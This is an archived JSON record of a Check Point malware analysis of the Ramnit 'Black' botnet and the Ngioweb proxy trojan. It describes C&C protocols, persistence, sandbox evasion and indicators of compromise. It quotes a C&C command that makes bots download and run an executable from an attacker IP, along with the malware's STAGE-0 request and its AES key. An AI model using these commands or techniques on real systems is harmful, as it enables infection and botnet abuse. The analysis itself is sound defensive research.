{
	"id": "3d49acfb-76ad-4c60-ab74-6075be46817e",
	"created_at": "2026-04-16T02:22:13.078704Z",
	"updated_at": "2026-04-18T02:21:19.762501Z",
	"deleted_at": null,
	"sha1_hash": "a51aed3a714f625a89b9fa0f7cb81ae18361b023",
	"title": "Ramnit’s Network of Proxy Servers",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 100706,
	"plain_text": "Ramnit’s Network of Proxy Servers\r\nBy deugenio\r\nPublished: 2018-08-05 · Archived: 2026-04-16 02:19:20 UTC\r\nResearch By: Alexey Bukhteyev\r\nAs you may know, Ramnit is one of the most prominent banking malware families in existence today and lately Check Point\r\nResearch monitored a new massive campaign of Ramnit, dubbed ‘Black’, reaching over 100,000 infections over the course\r\nof two months. It is used mainly to turn the victim’s machine into malicious proxy servers.\r\nIn fact, this massive new campaign may actually be used for many things, but our current belief is that this is just the tip of\r\nthe iceberg and this is a warning sign of a bigger operation that the Ramnit operators are cooking for us.\r\nOf course, we will continue to monitor this campaign for any developments, but in the meantime we want to share our\r\nfindings and insights into this “new threat in town”.\r\nBackground\r\nWe are constantly monitoring command and control servers’ (C\u0026C) activity for different malware families to extract the\r\nmost recent indicators of compromise (IoC) to protect our customers. One such family is the Ramnit Trojan which causes\r\ninfected machines to operate as a high-centralized botnet, though its architecture implies division into independent botnets.\r\nRecently we discovered the Ramnit C\u0026C server (185.44.75.109) which is not related to the previously most prevalent botnet\r\n“demetra”. According to domain names which are resolved to the IP address of this C\u0026C server, it pretends to control even\r\nold bots, first seen back in 2015. We named this botnet “Black” due to the RC4 key value, “black”, that is used for traffic\r\nencryption in this botnet.\r\nThis C\u0026C server has actually been active since 6th March 2018 but didn’t attract attention because of the low capacity of the\r\n“black” botnet at that time. However, in May-July 2018 we detected a new Ramnit campaign with around 100,000\r\ncomputers infected.\r\nFigure 1: Unique hits of Ramnit “black” botnet C\u0026C server.\r\nWe were also able to assess the location of bots involved in this campaign using several domain sinkholes:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 1 of 13\n\nFigure 2: Ramnit “black” botnet geography.\r\nThere are several features of this botnet:\r\nLots of samples use hardcoded domain names instead of DGA.\r\nThe C\u0026C server does not upload additional modules such as VNC, password stealer, FtpGrabber.\r\nAdditional modules (FTPServer, WebInjects) are embedded in one package with Ramnit.\r\nRamnit is used as a loader for another malware named Ngioweb.\r\nNgioweb represents a multifunctional proxy server which uses its own binary protocol with 2 layers of encryption. The\r\nproxy malware supports back-connect mode, relay mode, IPv4, IPv6 protocols, TCP and UDP transports with first samples\r\nseen in the second half of 2017. The name for the malware has been chosen as of the only one domain name hardcoded in\r\nthe malware configuration is “ngioweb[.]su”.\r\nIn the following writeup, we will show how this malware is used for building a huge multi-purpose proxy botnet.\r\nMalware functionality\r\nNgioweb uses two-stage C\u0026C infrastructure. STAGE-0 C\u0026C server informs the malware about the STAGE-1 C\u0026C server\r\nwhile the unencrypted HTTP connection is used for this purpose. The STAGE-1 C\u0026C server is used for controlling malware\r\nvia an encrypted channel.\r\nThe scheme below illustrates the communication sequence including the infection process:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 2 of 13\n\nFigure 3: Ngioweb infection and early communication\r\nThe malware can operate in two main modes:\r\nRegular back-connect proxy\r\nRelay proxy\r\nRegular Back-Connect Proxy Mode\r\nThis mode could be used for accessing remote service on behalf of an infected host. To establish a connection between\r\nSTAGE-1 C\u0026C server and remote host, the following sequence of actions is performed:\r\n1. Ngioweb Bot-A connects to C\u0026C STAGE-0 server and receives command to connect to the server C\u0026C STAGE-1\r\nwith address A:6666.\r\n2. Ngioweb Bot-A connects to C\u0026C STAGE-1 at A:6666. C\u0026C STAGE-1 server asks Bot-A to connect to x.x.x:443\r\nvia TCP.\r\n3. Bot-A connects to x.x.x.x:443\r\n4. Bot-A notifies C\u0026C STAGE-1 about successful connection and creates an additional TCP session to A:6666 which is\r\nused for transferring data between C\u0026C STAGE-1 server and x.x.x.x:443.\r\nFigure 4: Accessing remote host using Ngioweb proxy bot.\r\nThe same mode could be used for accessing internal resources in the local network of an infected host:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 3 of 13\n\nFigure 5: Accessing resource in the local network of an infected host.\r\nRelay Proxy Mode\r\nThis mode is the most powerful as it allows malware actors to build chains of proxies and hide their services behind the IP\r\naddress of a bot.\r\nThe following sequence of actions is used for building a hidden service using the Ngioweb botnet:\r\n1. Ngioweb Bot-A connects to C\u0026C STAGE-0 and receives command to connect to the server C\u0026C STAGE-1 with\r\naddress X:6666.\r\n2. Ngioweb Bot-A connects to C\u0026C STAGE-1 (Server-X) at X:6666. Server-X asks the bot to start the TCP server.\r\nNgioweb bot reports on starting TCP server with IP address and port.\r\n3. Malware actor publishes the address of the Bot-A in DNS (or using any other public channel).\r\n4. Another malware Bot-B resolves the address of Bot-A using DNS (or using any other public channel).\r\n5. Bot-B connects to Bot-A.\r\n6. Bot-A creates new connection to Server-X and works as relay between Server-X and Bot-B.\r\nFigure 6: Creating a hidden service using Ngioweb proxy bot.\r\nBuilding the chain of proxies:\r\n1. Ngioweb Bot-A connects to C\u0026C STAGE-1. It asks the bot to start TCP server. Ngioweb bot reports on starting TCP\r\nserver with IP address and port.\r\n2. C\u0026C STAGE-1 reports to C\u0026C STAGE-0 with the IP address and port of the relay proxy.\r\n3. When a new bot (Bot-B) connects to C\u0026C STAGE-0, it receives address and port of Bot-A.\r\n4. Bot-B establishes TCP connection to Bot-A.\r\n5. Bot-A establishes new TCP connection to C\u0026C STAGE-1 and therefore creates a communication channel between\r\nC\u0026C STAGE-1 and Bot-B. C\u0026C STAGE-1 asks Bot-B to connect to x.x.x.x:443\r\n6. Bot-B connects to x.x.x.x:443\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 4 of 13\n\n7. Bot-B establishes new connection to Bot-A, Bot-A establishes new connection to C\u0026C STAGE-1. This channel\r\nconnects C\u0026C STAGE-1 with x.x.x.x:443 via the chain of two bots: Bot-A and Bot-B.\r\nFigure 7: Building chain of proxies\r\nThe architecture of the botnet does not allow for determining if the address provided by the STAGE-0 C\u0026C belongs to the\r\nattacker or simply to another bot.\r\nInfection\r\nWe have seen Ngioweb samples packed together with Ramnit in one dropper binary that were most likely distributed in\r\nspam campaigns. However, Ngioweb is mainly distributed via botnet “black”.\r\nThe infection sequence via the Ramnit botnet is pretty simple. Each time Ramnit bot checks-in at the C\u0026C server, it receives\r\na command as follows:\r\n{\r\n’command’ : ’getexec “dml://185.44.75.109:443/1/v8.exe” “msiexic.exe”’,\r\n’cmd_id’ : 3,\r\n’TTL’ : 3600\r\n}\r\nCommand “getexec” is used by the Ramnit server to make a bot download and run custom executable from the specified\r\nURL. “dml” means that the Ramnit binary protocol should be used for downloading instead of HTTP. The second argument\r\nof “getexec” command is used to specify the file name for the downloaded executable.\r\nTTL parameter of the command tells Ramnit that the command with the specified cmd_id expires in TTL seconds and it\r\nshould be executed again when the time has passed. Therefore the victim’s computer is re-infected with the Ngioweb\r\nmalware until the Ramnit bot is active.\r\nPrevalence Assessment\r\nAs long as the main infection vector of Ngioweb malware is via Ramnit, the prevalence of the Ngioweb can be assessed\r\nthrough Ramnit “Black” botnet capacity. The C\u0026C server of Ramnit assigns a unique sequence number for each new bot\r\nwhich is then transmitted by the C\u0026C server with the response to one of bot’s messages.\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 5 of 13\n\nFigure 8: Ramnit “Black” and Ngioweb prevalence assessment\r\nTherefore, at the beginning of July of 2018, more than 139,000 computers were infected with Ngioweb and the following\r\ngraph shows the dynamics of these infections:\r\nFigure 9: Ramnit “Black” and Ngioweb dynamics of infections\r\nMalware Analysis\r\nThe malware consequently creates a chain of processes injecting its code there. First, the malware injects its code into the\r\nnewly created process “msiexec.exe” using a process hollowing technique. Next, when running inside of the “msiexec.exe”\r\nprocess, the malware tries to create one of the following processes to inject its payload:\r\nexe\r\nDefault application for opening files with .html extension (the path for it is acquired using the AssocQueryString API\r\nfunction)\r\nexe\r\nIt is in the last process in this chain that the main malicious actions are performed.\r\nFigure 10: Process creation chain\r\nTo prevent creating multiple instances of malicious process, the malware creates a named mutex (and then checks its\r\nexistence) with a specific pseudo-random name:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 6 of 13\n\nFigure 11: Mutex name generation algorithm\r\nThe malware creates three threads for its next purposes:\r\nPersistence watchdog thread\r\nThread for querying C\u0026C STAGE-0 server\r\nMain commands handler thread\r\nFor communication between threads, it uses PostQueuedCompletionStatus and GetQueuedCompletionStatus API functions.\r\nFigure 12: Notifying the main thread about new command\r\nfrom the STAGE-0 C\u0026C server.\r\nAlso, an additional thread is created for each connection.\r\nPersistence Mechanisms\r\nThe Ngioweb proxy uses three methods to keep persistence in the victim’s operating system:\r\n“Startup” folder of the current user\r\n“Run” registry key of the current user\r\nScheduled task\r\nThe malware tries to copy itself to two places:\r\nAt pseudo-random path inside one of “Program Files” (if accessible), %APPDATA% or %LocalAppData%\r\ndirectories\r\nAt pseudo-random path inside of %TEMP% directory using windows encryption (EncryptFile API function)\r\nThe malware uses tricky algorithm to generate the path to save its executable for an upcoming setup of autorun.\r\nIt chooses a random child folder inside “Program Files”, %APPDATA% or %LocalAppData%, excluding folders\r\n“Temp”, “Common Files”, “Uninstall Information”. The malware tries to create a subfolder there with a pseudo-random\r\nname. Then it tries to find .exe or .dll files in this folder, the name of the found file is chosen for saving the malware’s\r\nexecutable (forcing its extension to .exe). If neither .exe nor .dll files are found, the malware recursively searches those files\r\nin the inner subfolders. If nothing is found, the malware generates the name as following:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 7 of 13\n\nFigure 13: File name generation algorithm\r\nThe malware creates a sub-folder to store its executable. The name of this subfolder is generated as follows:\r\nFigure 14: Sub-folder name generation algorithm\r\nTherefore, the target path for the malware will look like:\r\nC:\\Program Files\\Internet Explorer\\v6.8.3.6\\uDkxuDgJ.exe\r\nOr (if no appropriate .exe or .dll file is found):\r\nC:\\Program Files\\Internet Explorer\\v6.8.3.6\\iexplore.exe\r\nIn case no appropriate subfolders are found in the Program Files directory, the malware creates a folder inside “Program\r\nFiles”, %APPDATA% or %LocalAppData% with a random 8-chars name (which is unpredictable) and then uses the\r\npreviously mentioned algorithm to generate the inner subfolder name and name of the .exe file.\r\nFor the stored file it sets new timestamps to the same value as ntdll.dll has.\r\nIn addition, the malware creates a sub-folder in the selected directory (this directory usually stays empty), whose name\r\ndepends only on the system volume serial number:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 8 of 13\n\nFigure 15: Generating name for the second sub-folder\r\nAn example of the generated name is:\r\nC:\\Program Files\\Internet Explorer\\2.0.41885\\\r\nThe malware also creates a sub-folder inside of %TEMP% folder and saves a copy there. The name for the sub-folder and\r\nfile are generated as follows:\r\nFigure 16: Generating path for the second copy of the malware\r\nAs we can see, the name of the folder and file depends only on a hard-coded value, so the path will be the same for each\r\ninfected machine:\r\n%TEMP%\\{D2309EFC-AB81-74D2-4D23-1674D2309EFC}\\ROPYRmXM.exe\r\nThe created file and folder are encrypted using the EncryptFile API function.\r\nThe malware creates two scheduled tasks:\r\nTo run the first copy (from “Program Files”, %APPDATA% or %LocalAppData% at logon)\r\nTo run exe every two minutes.\r\nFigure 17: Scheduled tasks to start the malware\r\nNames for the scheduled tasks are generated using the same function, which is used for generating names for mutexes and\r\nevents:\r\nFigure 18: Generating names for tasks\r\nTherefore the names for the scheduled tasks will be the same for each victim’s machine:\r\n{09EFC5AB-D230-AB81-74D2-4D2309EFC5AB}\r\n{D2309EFC-AB81-74D2-4D23-1674D2309EFC}\r\nMalware Configuration\r\nThe following data is stored in the malware configuration:\r\nConfiguration AES-256 key: used for decrypting configuration.\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 9 of 13\n\nRSA public key: used to verify C\u0026C STAGE-0 server authenticity by checking its digital signature.\r\nCommunication AES-256 key: used for encrypting communication with C\u0026C STAGE-1 server.\r\nAddresses of C\u0026C STAGE-0 servers.\r\nConfiguration is stored in encrypted format and the first 32 bytes of configuration block are used as an AES-256 key to\r\ndecrypt configuration. APLib is also used for decompression:\r\nFigure 19: Decrypting and extracting configuration block\r\nWe can then extract the data from the configuration after decryption:\r\nFigure 20: Decrypted malware configuration\r\nEach configuration field is prepended with 2 bytes of its length. For example, the length of the first field (AES-256 key) is\r\n0x20.\r\nThe configuration contains the following blocks:\r\nNetwork and Communication\r\nSTAGE-0 C\u0026C\r\nThe malware uses the HTTP protocol to connect to one of the STAGE-0 C\u0026C servers. The URL for the HTTP request is\r\nobtained from the configuration and looks like:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 10 of 13\n\nhttp://46.161.40.50:443/vnnf4pffztd356ey\r\nThe malware creates a query string for HTTP GET from 20 random letters and the User-Agent parameter for the HTTP\r\nrequest is hard-coded in the sample. The request thus looks like the following:\r\nGET /vnnf4pffztd356ey?fafgxybetmnqvmtifcle HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648;\r\n.NET CLR 3.5.21022)\r\nHost: 46.161.40.50\r\nCache-Control: no-cache\r\nServer response contains commands followed by the BASE64-encoded server’s digital signature:\r\nHTTP/1.1 200 OK\r\nServer: nginx/1.6.2\r\nDate: Thu, 07 Jun 2018 02:54:59 GMT\r\nContent-Type: text/plain; charset=utf-8\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\n8\r\nWAIT 60\r\nb2\r\nCERT\r\n7PYB0XUnrvomid0DDnlFchiogTULgdmyBz6Rro3hfyyRRqXBzX+W5mbomWG4sKc0i8DTRgV6HuvPqZ6BKgEcIW+jMchM82Zj+vxt9c0js/6Ykg7G\r\n0\r\nThe following commands are supported:\r\nSTAGE-1 C\u0026C\r\nWhen the malware receives the command, “CONNECT host:port”, it creates a connection to the specified STAGE-1 C\u0026C\r\nserver. It then uses its own binary protocol over TCP for communication and each message from both the server and client\r\nstarts from a header of 16 bytes in length.\r\nThe Header is encrypted in two layers: The first layer is AES cipher in ECB mode and the encryption key is stored in the\r\nmalware’s configuration. In the researched sample the following value is used as an AES key:\r\n“ava5df#be45av^bbdgq!hiuyyhh4327$”\r\nAfter AES-decrypting, the first 4 byte chunk of the header is used as a XOR key for decrypting the rest of the header. After\r\ndecryption, the header has the following format:\r\nThe malware then parses the header to get the length of the data transmitted and the CRC32 checksum of it. Data of the\r\nmessage is also encrypted in two layers and the same keys are used for the decryption.\r\nThe decrypted message consists of one or more chunks with each chunk starting with the byte of the chunk type:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 11 of 13\n\nThe number of chunks and types depends on the message code.\r\nThe malware supports the following message codes:\r\nWhen the message is sent by the C\u0026C server, the high byte of the message code is always 0x10. The message from the bot\r\nhas 0x00 high byte of message code.\r\nProtection Mechanisms\r\nAll strings in the malware sample are obfuscated using a “Stack strings obfuscation” technique. Therefore, strings are\r\nneither stored in plain text nor encrypted, and could not be easily found in the malware binary. Each string is filled char by\r\nchar inside of the function body where it is used:\r\nFigure 21: Strings obfuscation\r\nAny time the malware needs to call an API function, it first resolves the address of a target function using a pair of hashes\r\nand then calls the API function itself using the resolved address:\r\nFigure 22: API calls obfuscation\r\nThe malware uses a lot of evasion techniques that are intended for detecting sandboxed environment and researcher’s\r\nsoftware and performs checks in the loop before querying the STAGE-0 C\u0026C server. As a result, if a sandbox or analyst’s\r\nenvironment detection has been triggered, the malware extracts a fake C\u0026C server configuration from the encrypted block\r\nand uses it instead of a real configuration.\r\nThe fake configuration in the analyzed sample is as follows:\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 12 of 13\n\nhttp://104.144.207.211:443/vnnf4pffztd356ey\r\nhttp://46.161.40.50:443/vnnf4pffztd356ey\r\nThe first host is probably used to trigger an analyst’s environment detection event on the server-side.\r\nIndicators of Compromise\r\nMD5:\r\n2233ca776f54900d1413e76185a699d6\r\n00dcab7d87c753cd057934fabf391254\r\n7c3bc5776862734a4deaa86732abcffd\r\n0e63e2bd00b8171c569ecbbf61f0ae3c\r\n6321db55485e1e8ae7e8261345bd2448\r\nOld version with DGA:\r\ne1953052c0c0a9aa39c51174b9d9a953\r\nCheck Point Anti-Bot blade provides protection against this threat:\r\nTrojan.Win32.Ngioweb.*\r\nSource: https://research.checkpoint.com/ramnits-network-proxy-servers/\r\nhttps://research.checkpoint.com/ramnits-network-proxy-servers/\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://research.checkpoint.com/ramnits-network-proxy-servers/"
	],
	"report_names": [
		"ramnits-network-proxy-servers"
	],
	"threat_actors": [
		{
			"id": "f9806b99-e392-46f1-9c13-885e376b239f",
			"created_at": "2023-01-06T13:46:39.431871Z",
			"updated_at": "2026-04-18T02:00:03.622012Z",
			"deleted_at": null,
			"main_name": "Watchdog",
			"aliases": [
				"Thief Libra"
			],
			"source_name": "MISPGALAXY:Watchdog",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1776306133,
	"ts_updated_at": 1776478879,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a51aed3a714f625a89b9fa0f7cb81ae18361b023.pdf",
		"text": "https://archive.orkl.eu/a51aed3a714f625a89b9fa0f7cb81ae18361b023.txt",
		"img": "https://archive.orkl.eu/a51aed3a714f625a89b9fa0f7cb81ae18361b023.jpg"
	}
}